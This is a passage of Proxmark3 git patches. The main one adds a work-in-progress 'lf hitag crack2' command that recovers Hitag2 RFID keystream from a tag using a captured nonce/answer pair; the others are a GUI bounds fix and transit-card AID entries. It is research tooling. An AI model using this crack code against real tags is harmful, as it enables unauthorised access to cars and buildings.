save_buffer32(uint32_t *src, size_t length); buffer_savestate_t save_bufferS32(int32_t *src, size_t length); buffer_savestate_t save_buffer8(uint8_t *src, size_t length); diff --git a/client/src/proxgui.cpp b/client/src/proxgui.cpp index 528df4d5e..9d95a372d 100644 --- a/client/src/proxgui.cpp +++ b/client/src/proxgui.cpp @@ -134,47 +134,6 @@ extern "C" void InitGraphics(int argc, char **argv, char *script_cmds_file, char gui = new ProxGuiQT(argc, argv, main_loop_thread); } -void add_temporary_marker(uint32_t position, const char *label) { - if (g_TempMarkerSize == 0) { //Initialize the marker array - g_TempMarkers = (marker_t *)calloc(1, sizeof(marker_t)); - } else { //add more space to the marker array using realloc() - marker_t *temp = (marker_t *)realloc(g_TempMarkers, ((g_TempMarkerSize + 1) * sizeof(marker_t))); - - if (temp == NULL) { //Unable to reallocate memory for a new marker - PrintAndLogEx(FAILED, "Unable to allocate memory for a new temporary marker!"); - free(temp); - return; - } else { - //Set g_TempMarkers to the new pointer - g_TempMarkers = temp; - } - } - - g_TempMarkers[g_TempMarkerSize].pos = position; - - char *markerLabel = (char *)calloc(1, strlen(label) + 1); - strcpy(markerLabel, label); - - if (strlen(markerLabel) > 30) { - PrintAndLogEx(WARNING, "Label for temporary marker too long! Trunicating..."); - markerLabel[30] = '\0'; - } - - strncpy(g_TempMarkers[g_TempMarkerSize].label, markerLabel, 30); - g_TempMarkerSize++; - - memset(markerLabel, 0x00, strlen(label)); - free(markerLabel); -} - -void remove_temporary_markers(void) { - if (g_TempMarkerSize == 0) return; - - memset(g_TempMarkers, 0x00, (g_TempMarkerSize * sizeof(marker_t))); - free(g_TempMarkers); - g_TempMarkerSize = 0; -} - extern "C" void ExitGraphics(void) { if (!gui) return; diff --git a/client/src/proxgui.h b/client/src/proxgui.h index 498c0a83f..8ec934265 100644 --- a/client/src/proxgui.h +++ b/client/src/proxgui.h @@ -41,10 +41,6 @@ void MainGraphics(void); void InitGraphics(int argc, char **argv, char *script_cmds_file, char *script_cmd, bool stayInCommandLoop); void ExitGraphics(void); -//Temporary Marker Functions -extern void add_temporary_marker(uint32_t position, const char *label); -extern void remove_temporary_markers(void); - extern double g_CursorScaleFactor; extern char g_CursorScaleFactorUnit[11]; extern double g_PlotGridX, g_PlotGridY, g_DefaultGridX, g_DefaultGridY; From dee84b5b6f2f0c149dd317f4588f9437d3d106bc Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 26 Apr 2024 15:38:06 +0200 Subject: [PATCH 009/157] added "lf hitag crack2" to support the second attack vector against Hitag2, based on all work from @kevsecurity Kev Sheldrake in the RFIDler repo. This is WIP, not working at the moment --- CHANGELOG.md | 1 + armsrc/hitag2.c | 27 ++--- armsrc/hitag2_crack.c | 259 +++++++++++++++++++++++++++++++++++++--- armsrc/hitag2_crack.h | 4 +- client/src/cmdlfhitag.c | 80 ++++++++++++- 5 files changed, 332 insertions(+), 39 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d01f6fdf6..a984fc544 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `lf hitag crack2` - WIP. Trying to add the second attack vector against Hitag2 (@iceman1001) - Changed `hf 14b reader --plot` - made the anticollision signal trace download optional (@iceman1001) - Added `lf_hitag_crypto.trace` - trace file of a complete read out of a Hitag2 in crypto mode (@iceman1001) - Fix `lf cmdread` - uninitialised memory usage (@iceman1001) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index adc567d59..20740bc36 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -380,13 +380,17 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) // frame_len is in number of bits? static uint32_t hitag_reader_send_framebits(const uint8_t *frame, size_t frame_len) { + WDT_HIT(); + uint32_t wait = 0; // Send the content of the frame for (size_t i = 0; i < frame_len; i++) { wait += hitag_reader_send_bit(frame[i]); } + // EOF // Enable modulation, which means, drop the field + // set GPIO_SSC_DOUT to HIGH lf_modulation(true); // Wait for 4-10 times the carrier period @@ -394,12 +398,15 @@ static uint32_t hitag_reader_send_framebits(const uint8_t *frame, size_t frame_l wait += HITAG_T_LOW; // Disable modulation, just activates the field again + // set GPIO_SSC_DOUT to LOW lf_modulation(false); // t_stop, high field for stop condition (> 36) lf_wait_periods(HITAG_T_STOP); wait += HITAG_T_STOP; + WDT_HIT(); + return wait; } @@ -768,6 +775,8 @@ static bool hitag2_crypto(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t * } if (bCrypto && (bAuthenticating == false) && write) { + + SpinDelay(2); if (hitag2_write_page(rx, rxlen, tx, txlen) == false) { return false; } @@ -2583,8 +2592,7 @@ bool ht2_packbits(uint8_t *nrz_samples, size_t nrzs, uint8_t *rx, size_t *rxlen) int ht2_read_uid(uint8_t *uid, bool ledcontrol, bool send_answer, bool keep_field_up) { - // Clean up trace and prepare it for storing frames - set_tracing(true); + g_logging = false; // keep field up indicates there are more traffic to be done. if (keep_field_up == false) { @@ -2685,12 +2693,7 @@ int ht2_tx_rx(uint8_t *tx, size_t txlen, uint8_t *rx, size_t *rxlen, bool ledcon int res = PM3_EFAILED; size_t nrzs = 0; - uint8_t samples[HT2_MAX_NRSZ]; - - // waith between sending commands - lf_wait_periods(HITAG_T_WAIT_2_MIN); - - WDT_HIT(); + uint8_t samples[HT2_MAX_NRSZ] = {0}; uint32_t command_start = 0, command_duration = 0; uint32_t response_start = 0, response_duration = 0; @@ -2709,19 +2712,15 @@ int ht2_tx_rx(uint8_t *tx, size_t txlen, uint8_t *rx, size_t *rxlen, bool ledcon } // pack bits to bytes - if (ht2_packbits(samples, nrzs, rx, rxlen) == false) { + if (rx && (ht2_packbits(samples, nrzs, rx, rxlen) == false)) { goto out; } - // log Receive data - LogTraceBits(rx, *rxlen, response_start, response_start + response_duration, false); - res = PM3_SUCCESS; -out: +out: if (keep_field_up == false) { lf_finalize(false); - BigBuf_free_keep_EM(); } return res; } diff --git a/armsrc/hitag2_crack.c b/armsrc/hitag2_crack.c index b9a247957..c173278b3 100644 --- a/armsrc/hitag2_crack.c +++ b/armsrc/hitag2_crack.c @@ -28,6 +28,7 @@ #include "string.h" #include "BigBuf.h" #include "cmd.h" +#include "lfadc.h" const static uint8_t ERROR_RESPONSE[] = { 0xF4, 0x02, 0x88, 0x9C }; @@ -48,20 +49,18 @@ static void hitag2crack_xor(uint8_t *target, const uint8_t *source, const uint8_ // nrar is the 64 bit binarray of the nR aR pair; // cmd is the binarray of the encrypted command to send; // len is the length of the encrypted command. -static bool hitag2crack_send_e_cmd(uint8_t *resp, uint8_t *nrar, uint8_t *cmd, int len) { +static bool hitag2crack_send_e_cmd(uint8_t *resp, uint8_t *nrar, uint8_t *cmd, size_t len) { memset(resp, 0, 4); // Get UID - uint8_t uid[4]; - if (ht2_read_uid(uid, false, false, true) != PM3_SUCCESS) { + if (ht2_read_uid(NULL, true, false, true) != PM3_SUCCESS) { return false; } // send nrar and receive (useless) encrypted page 3 value - uint8_t e_page3[4]; size_t n = 0; - if (ht2_tx_rx(nrar, 64, e_page3, &n, true, true) != PM3_SUCCESS) { + if (ht2_tx_rx(nrar, 64, NULL, &n, true, true) != PM3_SUCCESS) { return false; } @@ -146,12 +145,12 @@ static bool hitag2crack_read_page(uint8_t *resp, uint8_t pagenum, uint8_t *nrar, // e_uid is the binarray of the encrypted version of the UID. static bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) { - uint8_t cipherbits[42]; + uint8_t cipherbits[42] = {0}; memcpy(cipherbits, e_cmd, 10); // copy encrypted cmd to cipherbits memcpy(cipherbits + 10, e_uid, 32); // copy encrypted uid to cipherbits - uint8_t plainbits[42]; + uint8_t plainbits[42] = {0}; memcpy(plainbits, read_p0_cmd, sizeof(read_p0_cmd)); // copy cmd to plainbits memcpy(plainbits + 10, uid, 32); // copy uid to plainbits @@ -159,23 +158,23 @@ static bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e hitag2crack_xor(keybits, plainbits, cipherbits, 42); // create extended cmd -> 4 * READP0CMD = 40 bits - uint8_t ext_cmd[40]; - memcpy(ext_cmd, read_p0_cmd, sizeof(read_p0_cmd)); - memcpy(ext_cmd + 10, read_p0_cmd, sizeof(read_p0_cmd)); - memcpy(ext_cmd + 20, read_p0_cmd, sizeof(read_p0_cmd)); - memcpy(ext_cmd + 30, read_p0_cmd, sizeof(read_p0_cmd)); - // xor extended cmd with keybits - uint8_t e_ext_cmd[40]; - hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40); + uint8_t e_ext_cmd[40] = {0}; + hitag2crack_xor(e_ext_cmd, read_p0_cmd, keybits, 10); + hitag2crack_xor(e_ext_cmd + 10, read_p0_cmd, keybits + 10, 10); + hitag2crack_xor(e_ext_cmd + 20, read_p0_cmd, keybits + 20, 10); + hitag2crack_xor(e_ext_cmd + 30, read_p0_cmd, keybits + 30, 10); // send extended encrypted cmd - uint8_t resp[4]; + uint8_t resp[4] = {0}; if (hitag2crack_send_e_cmd(resp, nrar, e_ext_cmd, 40)) { - + // test if it was valid if (memcmp(resp, ERROR_RESPONSE, 4)) { return true; + } else { + DbpString("test enc-page0 cmd. got error-response"); + Dbhexdump(4, resp, false); } } return false; @@ -230,6 +229,7 @@ static bool hitag2crack_find_e_page0_cmd(uint8_t *keybits, uint8_t *e_firstcmd, if (memcmp(resp, ERROR_RESPONSE, 4)) { // convert response to binarray + // response should been encrypted UID uint8_t e_uid[32]; hex2binarray((char *)e_uid, (char *)resp); @@ -296,11 +296,115 @@ static bool hitag2crack_find_valid_e_cmd(uint8_t *e_cmd, uint8_t *nrar) { return false; } + + +typedef struct { + uint8_t keybits[2080]; + uint8_t uid[32]; + uint8_t nrar[64]; + uint8_t e_ext_cmd[2080]; + uint8_t ext_cmd[2080]; +} PACKED lf_hitag_crack2_t; + +// hitag2crack_consume_keystream sends an extended command (up to 510 bits in +// length) to consume keystream. +// keybits is the binarray of keystream bits; +// kslen is the length of keystream; +// ksoffset is a pointer to the current keystream offset (updated by this fn); +// nrar is the 64 bit binarray of the nR aR pair. +//static bool ht2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset) { +static bool ht2crack_consume_keystream(lf_hitag_crack2_t *c2, int kslen, int *ksoffset) { + + // calculate the length of keybits to consume with the extended command. + // 42 = 32 bit response + 10 bit command reserved for next command. conlen + // cannot be longer than 510 bits to fit into the small RWD buffer. + int conlen = kslen - *ksoffset - 42; + if (conlen < 10) { + DbpString("ht2crack_consume_keystream: conlen < 10"); + return false; + } + + // calculate how many repeated commands to send in this extended command. + int numcmds = conlen / 10; + + // xor extended cmd with keybits + hitag2crack_xor(c2->e_ext_cmd, c2->ext_cmd, c2->keybits + *ksoffset, (numcmds * 10)); + + // send encrypted command + size_t n = 0; + uint8_t resp[4]; + if (ht2_tx_rx(c2->e_ext_cmd, numcmds * 10, resp, &n, true, true) != PM3_SUCCESS) { + Dbprintf("ht2crack_consume_keystream: tx/rx cmd failed, got %zu", n); + return false; + } + + // test response + if (memcmp(resp, ERROR_RESPONSE, 4) == 0) { + DbpString("ht2crack_consume_keystream: got error response from card"); + return false; + } + + // dont bother decrypting the response - we already know the keybits + + // update ksoffset with command length and response + *ksoffset += (numcmds * 10) + 32; + + return true; +} + +// hitag2crack_extend_keystream sends an extended command to retrieve more keybits. +// keybits is the binarray of the keystream bits; +// kslen is a pointer to the current keybits length; +// ksoffset is the offset into the keybits array; +// nrar is the 64 bit binarray of the nR aR pair; +// uid is the 32 bit binarray of the UID. +//static bool ht2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) { +static bool ht2crack_extend_keystream(lf_hitag_crack2_t *c2, int *kslen, int ksoffset) { + + // calc number of command iterations to send + int cmdlen = *kslen - ksoffset; + if (cmdlen < 10) { + DbpString("extend_keystream: cmdlen < 10"); + return false; + } + + int numcmds = cmdlen / 10; + + // xor extended cmd with keybits + hitag2crack_xor(c2->e_ext_cmd, c2->ext_cmd, c2->keybits + ksoffset, numcmds * 10); + + // send extended encrypted cmd + size_t n = 0; + uint8_t resp[4]; + if (ht2_tx_rx(c2->e_ext_cmd, numcmds * 10, resp, &n, true, true) != PM3_SUCCESS) { + DbpString("extend_keystream: tx/rx cmd failed"); + Dbhexdump(numcmds * 10, c2->e_ext_cmd, false); + return false; + } + + // test response + if (memcmp(resp, ERROR_RESPONSE, 4) == 0) { + return false; + } + + // convert response to binarray + uint8_t e_response[32]; + hex2binarray((char*)e_response, (char*)resp); + + // recover keystream from encrypted response + hitag2crack_xor(c2->keybits + ksoffset + (numcmds * 10), e_response, c2->uid, 32); + + // update kslen + *kslen = ksoffset + (numcmds * 10) + 32; + + return true; +} + // hitag2_crack implements the first crack algorithm described in the paper, // Gone In 360 Seconds by Verdult, Garcia and Balasch. // response is a multi-line text response containing the 8 pages of the cracked tag // nrarhex is a string containing hex representations of the 32 bit nR and aR values -void ht2_crack(uint8_t *nrar_hex) { +void ht2_crack1(uint8_t *nrar_hex) { clear_trace(); @@ -340,7 +444,6 @@ void ht2_crack(uint8_t *nrar_hex) { res = PM3_EFAILED; goto out; } - // read all pages using key stream for (uint8_t i = 1; i < 8; i++) { hitag2crack_read_page(packet.data + (i * 4), i, nrar, keybits); @@ -354,3 +457,121 @@ void ht2_crack(uint8_t *nrar_hex) { out: reply_ng(CMD_LF_HITAG2_CRACK, res, (uint8_t *)&packet, sizeof(lf_hitag_crack_response_t)); } + +// hitag2_keystream uses the first crack algorithm described in the paper, +// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits of keystream. +// response is a multi-line text response containing the hex of the keystream; +// nrar_hex is the 32 bit nR and aR in hex +void ht2_crack2(uint8_t *nrar_hex) { + + + lf_hitag_crack2_t *c2 = (lf_hitag_crack2_t*)BigBuf_calloc(sizeof(lf_hitag_crack2_t)); + lf_hitag_crack_response_t *packet = (lf_hitag_crack_response_t*)BigBuf_calloc(sizeof(lf_hitag_crack_response_t)); + + g_logging = false; + LEDsoff(); + set_tracing(false); + clear_trace(); + + int res = PM3_SUCCESS; + + // find the 'read page 0' command and recover key stream + + // get uid as hexstring + uint8_t uid_hex[4]; + if (ht2_read_uid(uid_hex, false, false, false) != PM3_SUCCESS) { + res = PM3_EFAILED; + goto out; + } + + hex2binarray_n((char *)c2->uid, (char *)uid_hex, 4); + hex2binarray_n((char *)c2->nrar, (char *)nrar_hex, 8); + + // find a valid encrypted command + uint8_t e_firstcmd[10]; + if (hitag2crack_find_valid_e_cmd(e_firstcmd, c2->nrar) == false) { + res = PM3_EFAILED; + goto out; + } + + if (hitag2crack_find_e_page0_cmd(c2->keybits, e_firstcmd, c2->nrar, c2->uid) == false) { + res = PM3_EFAILED; + goto out; + } + + // Now we got 40 bits of keystream in c2->keybits. + + // using the 40 bits of keystream in keybits, sending commands with ever + // increasing lengths to acquire 2048 bits of key stream. + int kslen = 40; + + // build extended command + for (int i = 0; i < 208 ; i++) { + memcpy(c2->ext_cmd + (i * 10), read_p0_cmd, 10); + } + + while (kslen < 2048) { + + int ksoffset = 0; + + // Get UID + if (ht2_read_uid(NULL, true, false, true) != PM3_SUCCESS) { + res = PM3_EFAILED; + goto out; + } + + // send nrar and receive (useless) encrypted page 3 value + size_t n = 0; + if (ht2_tx_rx(c2->nrar, 64, NULL, &n, true, true) != PM3_SUCCESS) { + res = PM3_EFAILED; + goto out; + } + + // while we have at least 52 bits of keystream, consume it with + // extended read page 0 commands. + // 52 = 10 (min command len) + 32 (response) + 10 (min command len we'll send) + while ((kslen - ksoffset) >= 52) { + // consume the keystream, updating ksoffset as we go + //if (ht2crack_consume_keystream(c2->keybits, kslen, &ksoffset, c2->nrar) == false) { + if (ht2crack_consume_keystream(c2, kslen, &ksoffset) == false) { + DbpString("ht2crack_consume_keystream failed"); + res = PM3_EFAILED; + goto out; + } + } + + // send an extended command to retrieve more keystream, + // updating kslen as we go + if (ht2crack_extend_keystream(c2, &kslen, ksoffset) == false) { + DbpString("ht2crack_extend_keystream failed"); + res = PM3_EFAILED; + goto out; + } + + Dbprintf("Recovered " _YELLOW_("%i") " bits of keystream", kslen); + } + + uint8_t *keybitshex = BigBuf_calloc(64); + for (int i = 0; i < 2048; i += 256) { + binarray2hex(c2->keybits + i, 256, keybitshex); + Dbhexdump(256, keybitshex, false); + } + BigBuf_free(); + + // copy UID since we already have it... + memcpy(packet->data, uid_hex, 4); + packet->status = 1; + +out: + +/* + DbpString("keybits:"); + Dbhexdump(2080, c2->keybits, false); + DbpString("uid:"); + Dbhexdump(32, c2->uid, false); + DbpString("nrar:"); + Dbhexdump(64, c2->nrar, false); +*/ + + reply_ng(CMD_LF_HITAG2_CRACK_2, res, (uint8_t *)packet, sizeof(lf_hitag_crack_response_t)); +} diff --git a/armsrc/hitag2_crack.h b/armsrc/hitag2_crack.h index 8709da195..9b99d93cc 100644 --- a/armsrc/hitag2_crack.h +++ b/armsrc/hitag2_crack.h @@ -22,6 +22,6 @@ #include #include "common.h" -void ht2_crack(uint8_t *nrar_hex); - +void ht2_crack1(uint8_t *nrar_hex); +void ht2_crack2(uint8_t *nrar_hex); #endif diff --git a/client/src/cmdlfhitag.c b/client/src/cmdlfhitag.c index 81ab2707b..193699b71 100644 --- a/client/src/cmdlfhitag.c +++ b/client/src/cmdlfhitag.c @@ -2167,6 +2167,77 @@ static int CmdLFHitag2Lookup(const char *Cmd) { return PM3_SUCCESS; } +static int CmdLFHitag2Crack2(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf hitag lookup", + "This command tries to recover 2048 bits of Hitag2 crypto stream data.\n", + "lf hitag crack2 --nrar 73AA5A62EAB8529C" + ); + + void *argtable[] = { + arg_param_begin, + arg_str0(NULL, "nrar", "", "specify nonce / answer as 8 hex bytes"), + arg_param_end + }; + + CLIExecWithReturn(ctx, Cmd, argtable, false); + int nalen = 0; + uint8_t nrar[8] = {0}; + CLIGetHexWithReturn(ctx, 1, nrar, &nalen); + CLIParserFree(ctx); + + // sanity checks + if (nalen && nalen != 8) { + PrintAndLogEx(INFO, "NrAr wrong length. expected 8, got %i", nalen); + return PM3_EINVARG; + } + + lf_hitag_data_t packet; + memset(&packet, 0, sizeof(packet)); + memcpy(packet.NrAr, nrar, sizeof(packet.NrAr)); + + PrintAndLogEx(INFO, _YELLOW_("Hitag 2") " - Crack2 (NrAR)"); + + uint64_t t1 = msclock(); + + PacketResponseNG resp; + clearCommandBuffer(); + SendCommandNG(CMD_LF_HITAG2_CRACK_2, (uint8_t *) &packet, sizeof(packet)); + + // loop + uint8_t attempt = 30; + do { + + PrintAndLogEx(INPLACE, "Attack 2 running..."); + fflush(stdout); + + if (WaitForResponseTimeout(CMD_LF_HITAG2_CRACK_2, &resp, 1000) == false) { + attempt--; + continue; + } + +// lf_hitag_crack_response_t *payload = (lf_hitag_crack_response_t *)resp.data.asBytes; + if (resp.status == PM3_SUCCESS) { + PrintAndLogEx(NORMAL, " ( %s )", _GREEN_("ok")); + break; + } else { + PrintAndLogEx(NORMAL, " ( %s )", _RED_("fail")); + break; + } + + } while (attempt); + + if (attempt == 0) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return PM3_ESOFT; + } + + t1 = msclock() - t1; + PrintAndLogEx(SUCCESS, "\ntime " _YELLOW_("%.0f") " seconds\n", (float)t1 / 1000.0); + return PM3_SUCCESS; +} + /* Test code Test data and below information about it comes from @@ -2285,9 +2356,9 @@ static uint64_t hitag2_verify_crypto_test_round(void) { static int CmdLFHitag2Selftest(const char *Cmd) { CLIParserContext *ctx; - CLIParserInit(&ctx, "lf hitag selftest", - "Perform selftest of Hitag crypto engine", - "lf hitag selftest\n" + CLIParserInit(&ctx, "lf hitag test", + "Perform self tests of Hitag crypto engine", + "lf hitag test\n" ); void *argtable[] = { @@ -2324,7 +2395,7 @@ static command_t CommandTable[] = { {"list", CmdLFHitagList, AlwaysAvailable, "List Hitag trace history"}, {"-----------", CmdHelp, IfPm3Hitag, "------------------------ " _CYAN_("General") " ------------------------"}, {"info", CmdLFHitagInfo, IfPm3Hitag, "Hitag 2 tag information"}, - {"selftest", CmdLFHitag2Selftest, AlwaysAvailable, "Perform self test"}, + {"test", CmdLFHitag2Selftest, AlwaysAvailable, "Perform self tests"}, {"-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_("Operations") " -----------------------"}, // {"demod", CmdLFHitag2PWMDemod, IfPm3Hitag, "PWM Hitag 2 reader message demodulation"}, {"dump", CmdLFHitag2Dump, IfPm3Hitag, "Dump Hitag 2 tag"}, @@ -2339,6 +2410,7 @@ static command_t CommandTable[] = { {"sim", CmdLFHitagSim, IfPm3Hitag, "Simulate Hitag transponder"}, {"-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_("Recovery") " -----------------------"}, {"cc", CmdLFHitagSCheckChallenges, IfPm3Hitag, "Hitag S: test all provided challenges"}, + {"crack2", CmdLFHitag2Crack2, IfPm3Hitag, "Recover 2048bits of crypto stream"}, {"chk", CmdLFHitag2Chk, IfPm3Hitag, "Check keys"}, {"lookup", CmdLFHitag2Lookup, AlwaysAvailable, "Uses authentication trace to check for key in dictionary file"}, {"ta", CmdLFHitag2CheckChallenges, IfPm3Hitag, "Hitag 2: test all recorded authentications"}, From 05df50678c2935569dde9dd14b639531e3bba72a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 26 Apr 2024 16:18:10 +0200 Subject: [PATCH 010/157] missing header --- include/pm3_cmd.h | 1 + 1 file changed, 1 insertion(+) diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index 5cc15946b..10fe7a81a 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -588,6 +588,7 @@ typedef struct { #define CMD_LF_HITAG_READER 0x0372 #define CMD_LF_HITAG2_WRITE 0x0377 #define CMD_LF_HITAG2_CRACK 0x0378 +#define CMD_LF_HITAG2_CRACK_2 0x0379 // For HitagS #define CMD_LF_HITAGS_TEST_TRACES 0x0367 From 097dfba5c83c99a756a94fed12462c723ac3a606 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 26 Apr 2024 16:25:40 +0200 Subject: [PATCH 011/157] simplified loop --- armsrc/hitag2_crack.c | 46 +++++++++++++++++++++++++++++++++++++++---- 1 file changed, 42 insertions(+), 4 deletions(-) diff --git a/armsrc/hitag2_crack.c b/armsrc/hitag2_crack.c index c173278b3..ac5543820 100644 --- a/armsrc/hitag2_crack.c +++ b/armsrc/hitag2_crack.c @@ -313,6 +313,7 @@ typedef struct { // ksoffset is a pointer to the current keystream offset (updated by this fn); // nrar is the 64 bit binarray of the nR aR pair. //static bool ht2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset) { +/* static bool ht2crack_consume_keystream(lf_hitag_crack2_t *c2, int kslen, int *ksoffset) { // calculate the length of keybits to consume with the extended command. @@ -351,6 +352,7 @@ static bool ht2crack_consume_keystream(lf_hitag_crack2_t *c2, int kslen, int *ks return true; } +*/ // hitag2crack_extend_keystream sends an extended command to retrieve more keybits. // keybits is the binarray of the keystream bits; @@ -359,6 +361,7 @@ static bool ht2crack_consume_keystream(lf_hitag_crack2_t *c2, int kslen, int *ks // nrar is the 64 bit binarray of the nR aR pair; // uid is the 32 bit binarray of the UID. //static bool ht2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) { +/* static bool ht2crack_extend_keystream(lf_hitag_crack2_t *c2, int *kslen, int ksoffset) { // calc number of command iterations to send @@ -399,6 +402,7 @@ static bool ht2crack_extend_keystream(lf_hitag_crack2_t *c2, int *kslen, int kso return true; } +*/ // hitag2_crack implements the first crack algorithm described in the paper, // Gone In 360 Seconds by Verdult, Garcia and Balasch. @@ -510,9 +514,14 @@ void ht2_crack2(uint8_t *nrar_hex) { memcpy(c2->ext_cmd + (i * 10), read_p0_cmd, 10); } + DbpString("enter main keystream rec"); + Dbhexdump(160, c2->ext_cmd, false); + + DbpString("enter main keystream recover loop"); + while (kslen < 2048) { - int ksoffset = 0; + //int ksoffset = 0; // Get UID if (ht2_read_uid(NULL, true, false, true) != PM3_SUCCESS) { @@ -530,7 +539,8 @@ void ht2_crack2(uint8_t *nrar_hex) { // while we have at least 52 bits of keystream, consume it with // extended read page 0 commands. // 52 = 10 (min command len) + 32 (response) + 10 (min command len we'll send) - while ((kslen - ksoffset) >= 52) { + /* + while ((kslen - ksoffset) >= 52) { // consume the keystream, updating ksoffset as we go //if (ht2crack_consume_keystream(c2->keybits, kslen, &ksoffset, c2->nrar) == false) { if (ht2crack_consume_keystream(c2, kslen, &ksoffset) == false) { @@ -539,7 +549,6 @@ void ht2_crack2(uint8_t *nrar_hex) { goto out; } } - // send an extended command to retrieve more keystream, // updating kslen as we go if (ht2crack_extend_keystream(c2, &kslen, ksoffset) == false) { @@ -548,14 +557,43 @@ void ht2_crack2(uint8_t *nrar_hex) { goto out; } + */ + + // xor extended cmd with keybits + hitag2crack_xor(c2->e_ext_cmd, c2->ext_cmd, c2->keybits, kslen); + + // send extended encrypted cmd + uint8_t resp[4]; + if (ht2_tx_rx(c2->e_ext_cmd, kslen, resp, &n, true, false) != PM3_SUCCESS) { + DbpString("extend_keystream: tx/rx cmd failed"); + break; + } + + // test response + if (memcmp(resp, ERROR_RESPONSE, 4) == 0) { + break; + } + + // convert response to binarray + uint8_t e_response[32]; + hex2binarray((char*)e_response, (char*)resp); + + // recover keystream from encrypted response + hitag2crack_xor(c2->keybits + kslen + 40, e_response, c2->uid, 32); + + // update kslen + kslen += (40 + 32); + Dbprintf("Recovered " _YELLOW_("%i") " bits of keystream", kslen); } - + +/* uint8_t *keybitshex = BigBuf_calloc(64); for (int i = 0; i < 2048; i += 256) { binarray2hex(c2->keybits + i, 256, keybitshex); Dbhexdump(256, keybitshex, false); } +*/ BigBuf_free(); // copy UID since we already have it... From 2bc7c5030234e43a1436d98bb7f5fec34802f29c Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 26 Apr 2024 22:52:49 +0200 Subject: [PATCH 012/157] changed fct names --- armsrc/appmain.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 8eaac6576..41a21bbb0 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -1141,7 +1141,12 @@ static void PacketReceived(PacketCommandNG *packet) { } case CMD_LF_HITAG2_CRACK: { lf_hitag_data_t *payload = (lf_hitag_data_t *) packet->data.asBytes; - ht2_crack(payload->NrAr); + ht2_crack1(payload->NrAr); + break; + } + case CMD_LF_HITAG2_CRACK_2: { + lf_hitag_data_t *payload = (lf_hitag_data_t *) packet->data.asBytes; + ht2_crack2(payload->NrAr); break; } case CMD_LF_HITAG_READER: { // Reader for Hitag tags, args = type and function From b20d3f44adf0b4a9f66fcec002890352792ad7d4 Mon Sep 17 00:00:00 2001 From: jlitewski Date: Sat, 27 Apr 2024 09:06:40 -0400 Subject: [PATCH 013/157] Fix OOB segfault with markers --- client/src/proxguiqt.cpp | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/client/src/proxguiqt.cpp b/client/src/proxguiqt.cpp index c14d61b09..55d41e96f 100644 --- a/client/src/proxguiqt.cpp +++ b/client/src/proxguiqt.cpp @@ -1268,14 +1268,22 @@ void Plot::wheelEvent(QWheelEvent *event) { void Plot::mouseMoveEvent(QMouseEvent *event) { int x = event->x(); - x -= WIDTH_AXES; - x = (int)(x / g_GraphPixelsPerPoint); - x += g_GraphStart; - if ((event->buttons() & Qt::LeftButton)) { - g_MarkerA.pos = x; - } else if (event->buttons() & Qt::RightButton) { - g_MarkerB.pos = x; + //Only run the marker place code if a mouse button is pressed + if((event->buttons() & Qt::LeftButton) || (event->buttons() & Qt::RightButton)) { + x -= WIDTH_AXES; + x = (int)(x / g_GraphPixelsPerPoint); + x += g_GraphStart; + + if(x > (int)g_GraphTraceLen) x = 0; // Set to 0 if the number is stupidly big + else if(x < (int)g_GraphStart) x = (int)g_GraphStart; // Bounds checking for the start of the Graph Window + else if(x > (int)g_GraphStop) x = (int)g_GraphStop; // Bounds checking for the end of the Graph Window + + if ((event->buttons() & Qt::LeftButton)) { // True for left click, false otherwise + g_MarkerA.pos = x; + } else { + g_MarkerB.pos = x; + } } this->update(); From f1adb30a9cba0f8915d1e5ad3cbf9cd1121617b9 Mon Sep 17 00:00:00 2001 From: RunTheBot <58890327+RunTheBot@users.noreply.github.com> Date: Thu, 2 May 2024 18:40:13 -0400 Subject: [PATCH 014/157] Added Presto Transit Card to aid_desfire.json Signed-off-by: RunTheBot <58890327+RunTheBot@users.noreply.github.com> --- client/resources/aid_desfire.json | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 8965919ec..cdeb11d82 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -567,5 +567,21 @@ "Name": "Prima FlexAir Access Control", "Description": "FIDs: 00 - DRM, 01 - Access Event Log, 04 - Access Permissions", "Type": "pacs" + }, + { + "AID": "FF30FF", + "Vendor": "Metrolinx", + "Country": "CA", + "Name": "Presto Card", + "Description": "", + "Type": "transport" + }, + { + "AID": "002000", + "Vendor": "Metrolinx", + "Country": "CA", + "Name": "Presto 